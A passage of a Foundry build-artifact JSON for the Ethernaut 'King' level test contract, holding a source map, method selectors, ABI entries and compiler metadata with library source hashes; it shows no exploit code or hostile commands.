-1;7085:6:155;;5488:1609;-1:-1:-1;;;;;;;;5488:1609:155:o;7102:180::-;7161:6;7214:2;7202:9;7193:7;7189:23;7185:32;7182:52;;;7230:1;7227;7220:12;7182:52;-1:-1:-1;7253:23:155;;7102:180;-1:-1:-1;7102:180:155:o;7989:803::-;8151:4;8180:2;8220;8209:9;8205:18;8250:2;8239:9;8232:21;8273:6;8308;8302:13;8339:6;8331;8324:22;8377:2;8366:9;8362:18;8355:25;;8439:2;8429:6;8426:1;8422:14;8411:9;8407:30;8403:39;8389:53;;8477:2;8469:6;8465:15;8498:1;8508:255;8522:6;8519:1;8516:13;8508:255;;;8615:2;8611:7;8599:9;8591:6;8587:22;8583:36;8578:3;8571:49;8643:40;8676:6;8667;8661:13;8643:40;:::i;:::-;8633:50;-1:-1:-1;8741:12:155;;;;8706:15;;;;8544:1;8537:9;8508:255;;;-1:-1:-1;8780:6:155;;7989:803;-1:-1:-1;;;;;;;7989:803:155:o;8797:258::-;8856:6;8909:2;8897:9;8888:7;8884:23;8880:32;8877:52;;;8925:1;8922;8915:12;8877:52;8964:9;8951:23;8983:42;9019:5;8983:42;:::i;9310:429::-;9397:6;9405;9458:2;9446:9;9437:7;9433:23;9429:32;9426:52;;;9474:1;9471;9464:12;9426:52;9513:9;9500:23;9532:42;9568:5;9532:42;:::i;:::-;9593:5;-1:-1:-1;9650:2:155;9635:18;;9622:32;9663:44;9622:32;9663:44;:::i;:::-;9726:7;9716:17;;;9310:429;;;;;:::o;10183:184::-;-1:-1:-1;;;10232:1:155;10225:88;10332:4;10329:1;10322:15;10356:4;10353:1;10346:15;11782:186;11845:4;11878:18;11870:6;11867:30;11864:56;;;11900:18;;:::i;:::-;-1:-1:-1;11945:1:155;11941:14;11957:4;11937:25;;11782:186::o;11973:321::-;12048:5;12077:53;12093:36;12122:6;12093:36;:::i;12077:53::-;12068:62;;12153:6;12146:5;12139:21;12193:3;12184:6;12179:3;12175:16;12172:25;12169:45;;;12210:1;12207;12200:12;12169:45;12223:65;12281:6;12274:4;12267:5;12263:16;12258:3;12223:65;:::i;12299:235::-;12352:5;12405:3;12398:4;12390:6;12386:17;12382:27;12372:55;;12423:1;12420;12413:12;12372:55;12445:83;12524:3;12515:6;12509:13;12502:4;12494:6;12490:17;12445:83;:::i;12539:149::-;12618:13;;12640:42;12618:13;12640:42;:::i;:::-;12539:149;;;:::o;12693:2249::-;12810:6;12841:2;12884;12872:9;12863:7;12859:23;12855:32;12852:52;;;12900:1;12897;12890:12;12852:52;12933:9;12927:16;12962:18;13003:2;12995:6;12992:14;12989:34;;;13019:1;13016;13009:12;12989:34;13057:6;13046:9;13042:22;13032:32;;13102:7;13095:4;13091:2;13087:13;13083:27;13073:55;;13124:1;13121;13114:12;13073:55;13153:2;13147:9;13176:63;13192:46;13235:2;13192:46;:::i;13176:63::-;13273:15;;;13355:1;13351:10;;;;13343:19;;13339:28;;;13304:12;;;;13379:19;;;13376:39;;;13411:1;13408;13401:12;13376:39;13443:2;13439;13435:11;13455:1457;13471:6;13466:3;13463:15;13455:1457;;;13550:3;13544:10;13586:2;13573:11;13570:19;13567:39;;;13602:1;13599;13592:12;13567:39;13629:20;;13701:4;13673:16;;;-1:-1:-1;;13669:30:155;13665:41;13662:61;;;13719:1;13716;13709:12;13662:61;13749:22;;:::i;:::-;13814:2;13810;13806:11;13800:18;13847:2;13837:8;13834:16;13831:36;;;13863:1;13860;13853:12;13831:36;13890:17;;13942:2;13934:11;;13930:25;-1:-1:-1;13920:53:155;;13969:1;13966;13959:12;13920:53;14010:2;14006;14002:11;13996:18;14040:63;14056:46;14099:2;14056:46;:::i;14040:63::-;14147:17;;;14245:1;14241:10;;;;14233:19;;14254:2;14229:28;;14186:14;;;;14273:21;;;14270:41;;;14307:1;14304;14297:12;14270:41;14345:2;14341;14337:11;14324:24;;14361:167;14379:8;14372:5;14369:19;14361:167;;;14461:12;;14447:27;;14400:14;;;;14500;;;;14361:167;;;14541:20;;-1:-1:-1;;;14604:2:155;14596:11;;14590:18;14624:16;;;14621:36;;;14653:1;14650;14643:12;14621:36;14693:64;14749:7;14744:2;14733:8;14729:2;14725:17;14721:26;14693:64;:::i;:::-;14688:2;14681:5;14677:14;14670:88;;14794:44;14832:4;14828:2;14824:13;14794:44;:::i;:::-;14789:2;14778:14;;14771:68;14852:18;;-1:-1:-1;14890:12:155;;;;13488;;13455:1457;;;-1:-1:-1;14931:5:155;12693:2249;-1:-1:-1;;;;;;;;12693:2249:155:o;14947:184::-;-1:-1:-1;;;14996:1:155;14989:88;15096:4;15093:1;15086:15;15120:4;15117:1;15110:15;15136:128;15203:9;;;15224:11;;;15221:37;;;15238:18;;:::i;15269:458::-;15349:6;15402:2;15390:9;15381:7;15377:23;15373:32;15370:52;;;15418:1;15415;15408:12;15370:52;15451:9;15445:16;15484:18;15476:6;15473:30;15470:50;;;15516:1;15513;15506:12;15470:50;15539:22;;15592:4;15584:13;;15580:27;-1:-1:-1;15570:55:155;;15621:1;15618;15611:12;15570:55;15644:77;15713:7;15708:2;15702:9;15697:2;15693;15689:11;15644:77;:::i;:::-;15634:87;15269:458;-1:-1:-1;;;;15269:458:155:o;15732:939::-;16244:7;16239:3;16232:20;16214:3;16281:6;16275:13;16297:74;16364:6;16360:1;16355:3;16351:11;16344:4;16336:6;16332:17;16297:74;:::i;:::-;16434:7;16430:1;16390:16;;;16422:10;;;16415:27;16467:13;;16489:76;16467:13;16551:2;16543:11;;16536:4;16524:17;;16489:76;:::i;:::-;16630:7;16625:2;16584:17;;;;16617:11;;;16610:28;16662:2;16654:11;;15732:939;-1:-1:-1;;;;15732:939:155:o;16676:496::-;16855:3;16893:6;16887:13;16909:66;16968:6;16963:3;16956:4;16948:6;16944:17;16909:66;:::i;:::-;17038:13;;16997:16;;;;17060:70;17038:13;16997:16;17107:4;17095:17;;17060:70;:::i;:::-;17146:20;;16676:496;-1:-1:-1;;;;16676:496:155:o;17177:220::-;17326:2;17315:9;17308:21;17289:4;17346:45;17387:2;17376:9;17372:18;17364:6;17346:45;:::i;17402:437::-;17481:1;17477:12;;;;17524;;;17545:61;;17599:4;17591:6;17587:17;17577:27;;17545:61;17652:2;17644:6;17641:14;17621:18;17618:38;17615:218;;-1:-1:-1;;;17686:1:155;17679:88;17790:4;17787:1;17780:15;17818:4;17815:1;17808:15;17615:218;;17402:437;;;:::o;17844:270::-;17922:6;17975:2;17963:9;17954:7;17950:23;17946:32;17943:52;;;17991:1;17988;17981:12;17943:52;18023:9;18017:16;18042:42;18078:5;18042:42;:::i;19358:184::-;19428:6;19481:2;19469:9;19460:7;19456:23;19452:32;19449:52;;;19497:1;19494;19487:12;19449:52;-1:-1:-1;19520:16:155;;19358:184;-1:-1:-1;19358:184:155:o;19547:125::-;19612:9;;;19633:10;;;19630:36;;;19646:18;;:::i;19859:383::-;20056:2;20045:9;20038:21;20019:4;20082:45;20123:2;20112:9;20108:18;20100:6;20082:45;:::i;:::-;20175:9;20167:6;20163:22;20158:2;20147:9;20143:18;20136:50;20203:33;20229:6;20221;20203:33;:::i;:::-;20195:41;19859:383;-1:-1:-1;;;;;19859:383:155:o;20247:335::-;20326:6;20379:2;20367:9;20358:7;20354:23;20350:32;20347:52;;;20395:1;20392;20385:12;20347:52;20428:9;20422:16;20461:18;20453:6;20450:30;20447:50;;;20493:1;20490;20483:12;20447:50;20516:60;20568:7;20559:6;20548:9;20544:22;20516:60;:::i","linkReferences":{}},"methodIdentifiers":{"IS_TEST()":"fa7626d4","createLevelInstance(address,address,uint256)":"1c7db669","createUsers(uint256)":"792e11f5","excludeArtifacts()":"b5508aa9","excludeContracts()":"e20c9f71","excludeSenders()":"1ed7831c","failed()":"ba414fa6","getEthernautWithStatsProxy(address)":"85db81cc","getNextUserAddress()":"b90a68fa","getOldFactory(string)":"2356661a","mineBlocks(uint256)":"f82de7b0","setUp()":"0a9254e4","submitLevelInstance(address,address)":"9b59adbc","targetArtifactSelectors()":"66d9a9a0","targetArtifacts()":"85226c81","targetContracts()":"3f7286f4","targetInterfaces()":"2ade3880","targetSelectors()":"916a17c6","targetSenders()":"3e5e3c23","testInit()":"b5d11e99","testSolve()":"832e5fc2"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"name\":\"log\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"name\":\"log_address\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"uint256[]\",\"name\":\"val\",\"type\":\"uint256[]\"}],\"name\":\"log_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"int256[]\",\"name\":\"val\",\"type\":\"int256[]\"}],\"name\":\"log_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address[]\",\"name\":\"val\",\"type\":\"address[]\"}],\"name\":\"log_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"name\":\"log_bytes\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"\",\"type\":\"bytes32\"}],\"name\":\"log_bytes32\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"\",\"type\":\"int256\"}],\"name\":\"log_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"address\",\"name\":\"val\",\"type\":\"address\"}],\"name\":\"log_named_address\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256[]\",\"name\":\"val\",\"type\":\"uint256[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256[]\",\"name\":\"val\",\"type\":\"int256[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"address[]\",\"name\":\"val\",\"type\":\"address[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"val\",\"type\":\"bytes\"}],\"name\":\"log_named_bytes\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"val\",\"type\":\"bytes32\"}],\"name\":\"log_named_bytes32\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"val\",\"type\":\"int256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"log_named_decimal_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"val\",\"type\":\"uint256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"log_named_decimal_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"val\",\"type\":\"int256\"}],\"name\":\"log_named_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"string\",\"name\":\"val\",\"type\":\"string\"}],\"name\":\"log_named_string\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"val\",\"type\":\"uint256\"}],\"name\":\"log_named_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"name\":\"log_string\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"name\":\"log_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"name\":\"logs\",\"type\":\"event\"},{\"inputs\":[],\"name\":\"IS_TEST\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"ethernaut\",\"type\":\"address\"},{\"internalType\":\"contract Level\",\"name\":\"level\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"}],\"name\":\"createLevelInstance\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"instance\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"userNum\",\"type\":\"uint256\"}],\"name\":\"createUsers\",\"outputs\":[{\"internalType\":\"address payable[]\",\"name\":\"\",\"type\":\"address[]\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeArtifacts\",\"outputs\":[{\"internalType\":\"string[]\",\"name\":\"excludedArtifacts_\",\"type\":\"string[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeContracts\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"excludedContracts_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeSenders\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"excludedSenders_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"failed\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"owner\",\"type\":\"address\"}],\"name\":\"getEthernautWithStatsProxy\",\"outputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"getNextUserAddress\",\"outputs\":[{\"internalType\":\"address payable\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"contractName\",\"type\":\"string\"}],\"name\":\"getOldFactory\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"numBlocks\",\"type\":\"uint256\"}],\"name\":\"mineBlocks\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"setUp\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"ethernaut\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"instance\",\"type\":\"address\"}],\"name\":\"submitLevelInstance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetArtifactSelectors\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"bytes4[]\",\"name\":\"selectors\",\"type\":\"bytes4[]\"}],\"internalType\":\"struct StdInvariant.FuzzSelector[]\",\"name\":\"targetedArtifactSelectors_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetArtifacts\",\"outputs\":[{\"internalType\":\"string[]\",\"name\":\"targetedArtifacts_\",\"type\":\"string[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetContracts\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"targetedContracts_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetInterfaces\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"string[]\",\"name\":\"artifacts\",\"type\":\"string[]\"}],\"internalType\":\"struct StdInvariant.FuzzInterface[]\",\"name\":\"targetedInterfaces_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetSelectors\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"bytes4[]\",\"name\":\"selectors\",\"type\":\"bytes4[]\"}],\"internalType\":\"struct StdInvariant.FuzzSelector[]\",\"name\":\"targetedSelectors_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetSenders\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"targetedSenders_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"testInit\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"testSolve\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{\"testInit()\":{\"notice\":\"Check the intial state of the level and enviroment.\"},\"testSolve()\":{\"notice\":\"Test the solution for the level.\"}},\"version\":1}},\"settings\":{\"compilationTarget\":{\"test/levels/King.t.sol\":\"TestKing\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/forge-std/src/Base.sol\":{\"keccak256\":\"0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224\",\"dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK\"]},\"lib/forge-std/src/StdAssertions.sol\":{\"keccak256\":\"0xf513292ab066e6017db48ca749c1e63a44dfc5cba0326fc65c718f96e029d361\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://02d715ae2898f1fabd08133f80e6a7a3b87a2796ca5d23d1cb3fed9f4367f34c\",\"dweb:/ipfs/QmfESqa4j3PQAvvdfrnDQ1xUH1TnVCfvZYHsAEDK8z4X4k\"]},\"lib/forge-std/src/StdChains.sol\":{\"keccak256\":\"0x9cc29c28f49d0b7f7b2f1aa32d8273f8a087bf62eb3fb22d893df824052c25ef\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://42dcb36cb10b878a0d5b20ce3a4a3ba4f51f44d7731a66ac1133c699bc80b31b\",\"dweb:/ipfs/QmY6q7SaHQMLBb3rS6xZdArPaXoskWeqF6oJwUeZ3gKLZj\"]},\"lib/forge-std/src/StdCheats.sol\":{\"keccak256\":\"0xb72f3519e0bf7d31df5d68557525f4fc55d861c3fb3b0f7793144ef7c94cbeb7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f3456d0f78e6f61203fa7871ba2df0d35925f10db3baee14be623ce2a35b84e2\",\"dweb:/ipfs/QmWE6QQSBvJifHMraisBTrf1x4WCwrDoTPLX8UKajTiApc\"]},\"lib/forge-std/src/StdError.sol\":{\"keccak256\":\"0xbf477b11a42d7611696956546bcfaa29317d1166bf65e402344599c05943fc77\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bc2e117d1135e030862b96a6526a43feb38d396cc79857f1fb696d4eff0e5fd6\",\"dweb:/ipfs/QmdSuQ5RrQudTLsNmWXGEeVJX8gR5U9XPm6m4dwwuQnJrj\"]},\"lib/forge-std/src/StdInvariant.sol\":{\"keccak256\":\"0x67299bfacd77fddfa2a67b8e2b901e0e333618a4975fb94850b07475e51f6de6\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://1b61121d310f4053ce344b345b4a9ccf43b059daf9097ec2647f594beaca896d\",\"dweb:/ipfs/QmZUCoTtXBM9zfAZVbj2dFPPnKaV1CSZzXE7zictyg3Gfz\"]},\"lib/forge-std/src/StdJson.sol\":{\"keccak256\":\"0x62bed173cb126f6d5006706cf249bac8a2d51bfa18f773f314784ff18adc622d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5acc33dddbf2492e37dc32e89cd56ce917272d303a6874805f3a5768a6bfbf54\",\"dweb:/ipfs/QmTsgFhcpUf16gAVazUXU3WspgX8nHke2hzVCvoqS25WEp\"]},\"lib/forge-std/src/StdMath.sol\":{\"keccak256\":\"0xd90ad4fd8aeaeb8929964e686e769fdedd5eded3fc3815df194a0ab9f91a3fb2\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://7919b70f636c7b805223992f28ad1ad0145d6c1385b5931a3589aface5fe6c92\",\"dweb:/ipfs/QmY7FRaULwoGgFteF8GawjQJRfasNgpWnU2aiMsFrYpuTC\"]},\"lib/forge-std/src/StdStorage.sol\":{\"keccak256\":\"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678\",\"dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft\"]},\"lib/forge-std/src/StdStyle.sol\":{\"keccak256\":\"0x43e2a8a9b9c2574dabe74f11adf6f782df218f463540e3b5b563609fe108597d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://51363ca97404cf4128e1141428949768c31929e75e014b02c85e887fbbb4f1b8\",\"dweb:/ipfs/QmVhtbQc2fU4rRmbcfBtz34mAgG4BAZBsbna1Ca4SkoPsK\"]},\"lib/forge-std/src/StdToml.sol\":{\"keccak256\":\"0xc8a57915ace96f5b6a85b57e57690fc038cad9034a3dc368c11828a3707c61ab\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://fa880a1a6e5d94005dcf4811b4c0df8d9c06407017ae111bd351483e2b76a72d\",\"dweb:/ipfs/QmcxkEE58gE1vDcZofTr8QpvdjXjgR72yYg7o4vTPSLCsy\"]},\"lib/forge-std/src/StdUtils.sol\":{\"keccak256\":\"0x502b18a4becda6ecd91fa8b419d8034946bfa80e6cc7f6497f51f8565bfadae0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bf499ee483a1dfd02023d4ce78ed4029a49794ccd5b849aaab912faea0d2ba61\",\"dweb:/ipfs/QmP6hwNZW7sYbQK9fBzuZWxfLm6Swx2nKzvZ54qWNqQkzX\"]},\"lib/forge-std/src/Test.sol\":{\"keccak256\":\"0x3b4bb409a156dee9ce261458117fe9f81080ca844a8a26c07c857c46d155effe\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5792c69fe24bdc063a14e08fe68275007fdb1e5e7e343840a77938cb7e95a64e\",\"dweb:/ipfs/QmcAMhaurUwzhytJFYix4vRNeZeV8g27b8LnV3t7dvYtiK\"]},\"lib/forge-std/src/Vm.sol\":{\"keccak256\":\"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f\",\"license\":\"MIT OR Apache-2.0\",\"urls\":[\"bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59\",\"dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT\"]},\"lib/forge-std/src/console.sol\":{\"keccak256\":\"0x91d5413c2434ca58fd278b6e1e79fd98d10c83931cc2596a6038eee4daeb34ba\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://91ccea707361e48b9b7a161fe81f496b9932bc471e9c4e4e1e9c283f2453cc70\",\"dweb:/ipfs/QmcB66sZhQ6Kz7MUHcLE78YXRUZxoZnnxZjN6yATsbB2ec\"]},\"lib/forge-std/src/console2.sol\":{\"keccak256\":\"0x954646445d1014c3cd85c7918f5e7adeeca5ee44b68c00bafa237e597a4e35ea\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://516fa3be52da4763147175bfba4be0aa011fadbb0c1afb01f97265bd4cee7973\",\"dweb:/ipfs/QmdixAyMJefx7qePChgdxcBH5MxhmN7vsqPuPLx3CgrVmF\"]},\"lib/forge-std/src/interfaces/IERC165.sol\":{\"keccak256\":\"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc\",\"dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT\"]},\"lib/forge-std/src/interfaces/IERC20.sol\":{\"keccak256\":\"0x4cab887298790f908c27de107e4e2907ca5413aee482ef776f8d2f353c5ef947\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bb715e0c4a2bdbe432bb624501506041f06e878e0b72675aebba30ad2c2b72e7\",\"dweb:/ipfs/QmWhhLSvkxS2NrukJJHqFY8gDVE5r9rD4PfHvR24pwdKv9\"]},\"lib/forge-std/src/interfaces/IERC721.sol\":{\"keccak256\":\"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f\",\"dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm\"]},\"lib/forge-std/src/interfaces/IMulticall3.sol\":{\"keccak256\":\"0x7aac1389150499a922d1f9ef5749c908cef127cb2075b92fa17e9cb611263d0a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://d95ebb7c7c463e08ebc12dab639945752fb2480acfc6e86da32f72732a7fd0c0\",\"dweb:/ipfs/QmNXK8P8oPWwajsQHvAHw3JPyQidPLCGQN3hWu1Lk6PBL2\"]},\"lib/forge-std/src/mocks/MockERC20.sol\":{\"keccak256\":\"0xadbdfc6639edec00ba94bb1133a0fd8de31ccafe45c2ef5df9b3ca61b60b559b\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bc766f01bccf669abac8cc7b2096cc1352a66471ca3772ae61b1801dedc4ed4f\",\"dweb:/ipfs/QmNigaPj1LYkP7Z5xr4ijkUxr2K66fDGeoifG3WoM9ruyw\"]},\"lib/forge-std/src/mocks/MockERC721.sol\":{\"keccak256\":\"0x3293dcbb7acd28df553c954e4e39e288bf10aab7ecda8d50ef21b4f4a91a28d9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9eb374daf6df34f4392f8926f1fddbce9f22c423066aeaefdfbe77395f77967b\",\"dweb:/ipfs/QmWR81zBJRX2uyRjveGzikYPj6ZwKppWsU49YEQXTLWUsN\"]},\"lib/forge-std/src/safeconsole.sol\":{\"keccak256\":\"0xbaf41fdc6c54297e7cd8250e48b0f20eaac918e342a1028cef3f9a52ac086381\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a500ad81dea226f9910e6b50f99a9ff930105e393a692cbfb2185e4cdb4424ae\",\"dweb:/ipfs/QmVbUQpXNMmMWRiy4FvBNczzq46BMGfUoBikvSHNiCxVTq\"]},\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f78